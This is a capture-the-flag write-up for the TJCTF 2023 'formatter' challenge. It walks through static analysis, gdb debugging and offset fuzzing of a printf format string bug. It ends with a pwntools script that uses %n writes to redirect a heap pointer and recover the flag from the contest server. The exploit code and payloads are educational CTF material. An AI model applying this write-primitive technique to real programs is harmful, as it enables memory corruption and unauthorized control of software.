TJCTF 2023: formatter

give me a string, any string!

TL;DR

printf() format string vulnerability allows arbitrary write. Using the %n specifier, overwrite a pointer variable located on the heap to win.

Basic File Checks

The binary happens to be a simple echo server. Based on the challenge name alone, we know that the challenge is somewhat related to Format String Vulnerability.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./formatter
give me a string (or else): test
test
samongus

Looking at the binary protections, the absence of canary may just be hinting that there is no need to use any read primitives from printf() like %x and %p to leak the canary value, making it easier for us to overwrite addresses if there is any write primitives available.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ checksec --file=formatter
[*] '/home/kali/Desktop/CTF/TJCTF2023/pwn: formatter/formatter'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Static Code Analysis

There seems to be no low hanging fruit such as buffer overflow because fgets is limiting 256 (0x100) characters to the buffer local_118 which holds up to 268 characters.

On the other hand, there is a xd variable that we need to overwrite in order to receive the flag. There are several important facts about this variable worth taking note of:

  1. xd is a POINTER variable initialized on the HEAP.

  2. calloc is used for initialization, meaning that the value of &xd will be 0.

undefined8 main(void)

{
  int iVar1;
  char local_118 [268];
  int local_c;
  
  setbuf(stdout,(char *)0x0);
  xd = calloc(1,4);
  printf("give me a string (or else): ");
  fgets(local_118,0x100,stdin);
  printf(local_118);
  r1((int)local_118[0]);
  iVar1 = win();
  if (iVar1 != 0) {
    for (local_c = 0; local_c < 0x100; local_c = local_c + 1) {
      putchar((int)(char)among[local_c]);
    }
  }
  free(xd);
  return 0;
}

To receive the flag, we need to overwrite the value of dereferenced &xd (not the xd pointer itself) to 0x86a693e.

char * win(void)

{
  uint uVar1;
  char *pcVar2;
  char local_68 [72];
  FILE *local_20;
  int local_14;
  int local_10;
  int local_c;
  
  local_20 = fopen("flag.txt","r");
  if (*xd == 0x86a693e) {
    for (local_c = 0; local_c < 0x100; local_c = local_c + 1) {
      putchar((int)"You win!\n"[local_c]);
    }
    if (local_20 == (FILE *)0x0) {
      for (local_10 = 0; (local_10 < 0x100 && ("flag.txt not found\n"[local_10] != '\0'));
          local_10 = local_10 + 1) {
      }
      pcVar2 = (char *)0x0;
    }
    else {
      pcVar2 = fgets(local_68,0x40,local_20);
      for (local_14 = 0; local_14 < 0x40; local_14 = local_14 + 1) {
        uVar1 = putchar((int)local_68[local_14]);
        pcVar2 = (char *)(ulong)uVar1;
      }
    }
  }
  else {
    pcVar2 = (char *)0x1;
  }
  return pcVar2;
}

Before win function is called, the value of &xd is incremented by 2 via the r1 function. All of this takes place after our printf vulnerability, meaning we would have to minus 2 from our user-supplied input.

void r1(int param_1)

{
  if (param_1 != 0) {
    *xd = *xd + 2;
    putw(param_1 + -1,stdout);
    puts("amongus");
  }
  return;
}

Debugging

Since there is no ASLR, we can find the static addresses of xd and &xd and overwrite them in a debugger at runtime to confirm our hypothesis.

The address of xd pointer is 0x403440. However, overwriting this address will not be beneficial because the win function is actually comparing the value of &xd.

┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ objdump -t formatter | grep "xd"
0000000000403440 g     O .bss   0000000000000008              xd

┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ readelf -s formatter | grep "xd"
20: 0000000000403440     8 OBJECT  GLOBAL DEFAULT   25 xd

To locate the address of &xd, place a strategic breakpoint at 0x4012ab in the r1 function, right before &xd is incremented. The instruction before this breakpoint is basically just loading the address of &xd into rax.

If everything goes as plan, inspecting the rax register at this breakpoint will reveal the address of &xd as 0x4042a0.

┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ gdb formatter

GNU gdb (Debian 13.1-3) 13.1
For help, type "help".

pwndbg> b *0x4012ab
Breakpoint 1 at 0x4012ab

pwndbg> r
Starting program: /home/kali/Desktop/CTF/TJCTF2023/pwn: formatter/formatter 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
give me a string (or else): test
test

Breakpoint 1, 0x00000000004012ab in r1 ()
───────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────
 ► 0x4012ab <r1+24>    mov    edx, dword ptr [rax]
   0x4012ad <r1+26>    mov    rax, qword ptr [rip + 0x218c] <xd>
   0x4012b4 <r1+33>    add    edx, 2
   0x4012b7 <r1+36>    mov    dword ptr [rax], edx
   0x4012b9 <r1+38>    mov    rax, qword ptr [rip + 0x2160] <stdout@GLIBC_2.2.5>
   0x4012c0 <r1+45>    mov    edx, dword ptr [rbp - 4]
   0x4012c3 <r1+48>    sub    edx, 1
   0x4012c6 <r1+51>    mov    rsi, rax
   0x4012c9 <r1+54>    mov    edi, edx
   0x4012cb <r1+56>    call   putw@plt                      <putw@plt>
   0x4012d0 <r1+61>    lea    rax, [rip + 0xd56]
────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────
pwndbg> x $rax
0x4042a0:       0x00000000

pwndbg> x &xd
0x403440 <xd>:  0x004042a0

Printing the value of &xd shows 0x00000000, which is valid because calloc initializes the value of &xd as 0.

pwndbg> x 0x4042a0
0x4042a0:       0x00000000

Continue the execution of program line-by-line for several instructions until &xd is incremented successfully, then check the value again, which should resolves to 0x02 by then.

pwndbg> n
pwndbg> n
pwndbg> n
pwndbg> n

pwndbg> x 0x4042a0
0x4042a0:       0x00000002

To summarize the above:

  • Address of xd: 0x403440

  • Value of xd: 0x4042a0

  • Address of &xd: 0x4042a0

  • Value of &xd: 0x000000

To confirm the accuracy of these addresses, we will now try to overwrite the value of &xd at the same breakpoint location, then continue program execution to verify if we managed to get the flag.

┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ gdb formatter

GNU gdb (Debian 13.1-3) 13.1
For help, type "help".

pwndbg> b *0x4012ab
Breakpoint 1 at 0x4012ab

pwndbg> r
Starting program: /home/kali/Desktop/CTF/TJCTF2023/pwn: formatter/formatter 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
give me a string (or else): test
test

Breakpoint 1, 0x00000000004012ab in r1 ()
───────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────
 ► 0x4012ab <r1+24>    mov    edx, dword ptr [rax]
   0x4012ad <r1+26>    mov    rax, qword ptr [rip + 0x218c] <xd>
   0x4012b4 <r1+33>    add    edx, 2
   0x4012b7 <r1+36>    mov    dword ptr [rax], edx
   0x4012b9 <r1+38>    mov    rax, qword ptr [rip + 0x2160] <stdout@GLIBC_2.2.5>
   0x4012c0 <r1+45>    mov    edx, dword ptr [rbp - 4]
   0x4012c3 <r1+48>    sub    edx, 1
   0x4012c6 <r1+51>    mov    rsi, rax
   0x4012c9 <r1+54>    mov    edi, edx
   0x4012cb <r1+56>    call   putw@plt                      <putw@plt>
   0x4012d0 <r1+61>    lea    rax, [rip + 0xd56]
────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────

pwndbg> set *0x4042a0=0x86a693c

pwndbg> c
Continuing.
samongus
You win!
flag.txt not found
amongusgive me a string (or else): �����l���d����xR����?�����������������4zRx
���&D0���$D8����F▒J
�?▒;*3$"lctf{flag}���������1@�����`���������
[Inferior 1 (process 3984) exited normally]

Devise Exploit Plan

Now of course overwriting &xd using a debugger is not possible in a Binary Exploitation challenge. We need to leverage some kind of arbitrary write vulnerability to make this overwrite possible.

Revising What We Know

There is a format string vulnerability because printf did not explicitly declare a format specifier when user input is passed into. In most cases, this is enough for an Arbitrary Read, but the flag is only loaded on a later time for this challenge, so we can't abuse it to read the flag from the stack.

Luckily printf contains a rarely-used format specifier %n. This specifier takes in a pointer (memory address) and writes to the pointer with the number of characters written so far. If we can control the input, we can control how many characters are written and also where we write them, thereby providing a write primitive.

Crafting Payload Manually

Fuzzing the binary shows that our input is located at the 6th offset. Because of this, we can control what address is written to the 6th offset. In this case, we will write the address of &xd.

┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ ./formatter
give me a string (or else): AAAAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
AAAAAAAA 0x1b142c1 0xfbad2288 0x1 0x1b14311 (nil) 0x4141414141414141 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0xa 0x7f697387c9d3 0x2 (nil) (nil) (nil) (nil) (nil) (nil)
@amongus

┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ python -c 'print("\xa0\x42\x40 " + "%p %p %p %p %p %p %p %p %p %p %p")' | ./formatter
give me a string (or else):  B@ 0x227d2c1 0xfbad2088 0x1 0x227d2e6 (nil) 0x207025204042a0c2 0x7025207025207025 0x2520702520702520 0x2070252070252070 0xa7025207025 0x40000
����amongus

Now craft a two-part payload to overwrite &xd as a Proof-of-Concept.

  1. Write address of &xd to the 6th offset.

  2. Using the write primitive of %n to write value 3 (because the size of 0x4042a0 equals to 3) to the address located on the 6th offset.

┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ python -c 'print("\xa0\x42\x40" + "%6$n")' | ./formatter 
give me a string (or else): zsh: done                python -c 'print("\xa0\x42\x40" + "%6$n")' | 
zsh: segmentation fault  ./formatter

Null Bytes

Hold on a second! Segfault ... why? In our previous fuzzing attempt, notice how we are writing a 3 byte address \xa0\x42\x40 to the 8 byte stack, which resulted in a corrupted address of 0x207025204042a0c2 instead of the actual address of &xd at 0x00000000004042a0.

As a result, when we try to write the value 3 (the size of our string) at the address pointed by %n (an invalid address), it leads to a segmentation fault.

If we try to pad the 3-byte address with 5 NULL bytes \x00, another problem will arise. This is because printf will stop at a null-byte, meaning printf will only read up to \x40, and ignores all the %p behind it, which is why no stack addresses are leaked as shown below.

┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ python -c 'print("\xa0\x42\x40\x00\x00\x00\x00\x00 " + "%p %p %p %p %p %p %p %p %p %p %p")' | ./formatter
give me a string (or else):  B@����amongus

Long Padding

Now, if writing 3 byte as our input means writing 3 at a specific address. We will have to write 141191484 (0x86a693c in decimal) characters by expanding the payload into 3 parts.

payload = 0x4042a0 

# This will pad the 1st argument with value-3 bytes
# value-3 because we already wrote 3 bytes \xa0\x42\x40
payload += '%<141191484-3>x' 
                             
payload += '%6$n'

However, this will write 141191484-3 length of padding on the standard output, which will take a long time to complete.

Automated Exploitation

To circumvent the complications around NULL bytes, use the fmstr_payload module from pwntools to generate the payload dynamically. This also allows us to bypass the limitations of long padding when crafting the payload manually.

payload = fmtstr_payload(6, {0x4042a0: 0x086a693e-2})

For some reason, overwriting &xd with 0x086a693e-2 directly does not work, so we will improvise and adopt another method that performs a double write.

There's apparently a buffer with the name among that does not seem to be used.

┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ objdump -t formatter | grep ".bss" 
0000000000403420 g     O .bss   0000000000000008              stdout@GLIBC_2.2.5
0000000000403430 g     O .bss   0000000000000008              stdin@GLIBC_2.2.5
0000000000403440 g     O .bss   0000000000000008              xd
0000000000403560 g       .bss   0000000000000000              _end
0000000000403460 g     O .bss   0000000000000100              among
0000000000403420 g       .bss   0000000000000000              __bss_start

As an alternative, we can write the magic value 0x086a693e-2 to the among buffer, then manipulate the pointer variable of xd to point towards among.

solve.py
#!/usr/bin/env python3

from pwn import *
import warnings

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './formatter'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# Disable warnings related to bytes
warnings.filterwarnings(action='ignore', category=BytesWarning)

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()
rop = ROP(elf)

payload = fmtstr_payload(6, {elf.symbols['among']: 0x086a693e-2, elf.symbols['xd']: elf.symbols['among']})

io.recvuntil(b'(or else): ')

io.sendline(payload)

io.recvall()
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ ./solve.py REMOTE tjc.tf 31764
[+] Opening connection to tjc.tf on port 31764: Done
[*] Loaded 5 cached gadgets for './formatter'
[DEBUG] Received 0x1c bytes:
    b'give me a string (or else): '
[DEBUG] Sent 0x79 bytes:
    00000000  25 39 36 63  25 31 35 24  6c 6c 6e 25  32 31 32 63  │%96c│%15$│lln%│212c│
    00000010  25 31 36 24  68 68 6e 25  31 32 63 25  31 37 24 68  │%16$│hhn%│12c%│17$h│
    00000020  68 6e 25 32  35 32 63 25  31 38 24 6c  6c 6e 25 34  │hn%2│52c%│18$l│ln%4│
    00000030  35 63 25 31  39 24 68 68  6e 25 31 35  33 37 63 25  │5c%1│9$hh│n%15│37c%│
    00000040  32 30 24 68  6e 61 61 61  40 34 40 00  00 00 00 00  │20$h│naaa│@4@·│····│
    00000050  41 34 40 00  00 00 00 00  42 34 40 00  00 00 00 00  │A4@·│····│B4@·│····│
    00000060  60 34 40 00  00 00 00 00  61 34 40 00  00 00 00 00  │`4@·│····│a4@·│····│
    00000070  62 34 40 00  00 00 00 00  0a                        │b4@·│····│·│
    00000079
[..../...] Receiving all data: 2.35KB
[DEBUG] Received 0x966 bytes:
    00000000  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000050  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 c1  │    │    │    │   ·│
    00000060  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000130  20 20 20 88  20 20 20 20  20 20 20 20  20 20 20 39  │   ·│    │    │   9│
    00000140  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000230  20 20 20 20  20 20 20 20  20 20 20 00  20 20 20 20  │    │    │   ·│    │
    00000240  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000260  20 20 20 20  20 20 20 20  c0 20 20 20  20 20 20 20  │    │    │·   │    │
    00000270  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000860  20 20 20 20  20 20 20 20  20 25 61 61  61 40 34 40  │    │    │ %aa│a@4@│
    00000870  24 00 00 00  61 6d 6f 6e  67 75 73 0a  59 6f 75 20  │$···│amon│gus·│You │
    00000880  77 69 6e 21  0a 00 66 6c  61 67 2e 74  78 74 20 6e  │win!│··fl│ag.t│xt n│
    00000890  6f 74 20 66  6f 75 6e 64  0a 00 61 6d  6f 6e 67 75  │ot f│ound│··am│ongu│
    000008a0  73 00 67 69  76 65 20 6d  65 20 61 20  73 74 72 69  │s·gi│ve m│e a │stri│
    000008b0  6e 67 20 28  6f 72 20 65  6c 73 65 29  3a 20 00 00  │ng (│or e│lse)│: ··│
    000008c0  00 01 1b 03  3b 48 00 00  00 08 00 00  00 cc ef ff  │····│;H··│····│····│
    000008d0  ff 8c 00 00  00 6c f0 ff  ff 64 00 00  00 9c f0 ff  │····│·l··│·d··│····│
    000008e0  ff 78 00 00  00 52 f1 ff  ff b4 00 00  00 3f f2 ff  │·x··│·R··│····│·?··│
    000008f0  ff d4 00 00  00 90 f2 ff  ff f4 00 00  00 b9 f2 ff  │····│····│····│····│
    00000900  ff 14 01 00  00 d5 f2 ff  ff 34 01 00  00 14 00 00  │····│····│·4··│····│
    00000910  00 00 00 00  00 01 7a 52  00 01 78 10  01 1b 0c 07  │····│··zR│··x·│····│
    00000920  08 90 01 00  00 10 00 00  00 1c 00 00  00 00 f0 ff  │····│····│····│····│
    00000930  ff 26 00 00  00 00 44 07  10 10 00 00  00 30 00 00  │·&··│··D·│····│·0··│
    00000940  00 1c f0 ff  ff 05 00 00  00 00 00 00  00 24 00 00  │····│····│····│·$··│
    00000950  00 44 00 00  00 38 ef ff  ff a0 00 00  00 00 0e 10  │·D··│·8··│····│····│
    00000960  46 0e 18 4a  0f 0b                                  │F··J│··│
    00000966
[DEBUG] Received 0x6e bytes:
    00000000  77 08 80 00  3f 1a 3b 2a  33 24 22 00  00 00 00 1c  │w···│?·;*│3$"·│····│
    00000010  00 00 00 6c  00 00 74 6a  63 74 66 7b  66 30 72 6d  │···l│··tj│ctf{│f0rm│
    00000020  34 74 74 33  64 5f 35 38  38 33 63 63  33 30 7d 0a  │4tt3│d_58│83cc│30}·│
    00000030  00 00 00 00  00 00 00 00  00 00 00 00  00 00 80 0d  │····│····│····│····│
    00000040  6d bd fc 7f  00 00 b8 0f  6d bd fc 7f  00 00 29 13  │m···│····│m···│··)·│
    00000050  40 00 00 00  00 00 66 72  65 65 28 29  3a 20 69 6e  │@···│··fr│ee()│: in│
    00000060  76 61 6c 69  64 20 70 6f  69 6e 74 65  72 0a        │vali│d po│inte│r·│
    0000006e
[*] Closed connection to tjc.tf port 31764

Flag: tjctf{f0rm4tt3d_5883cc30}

References

Last updated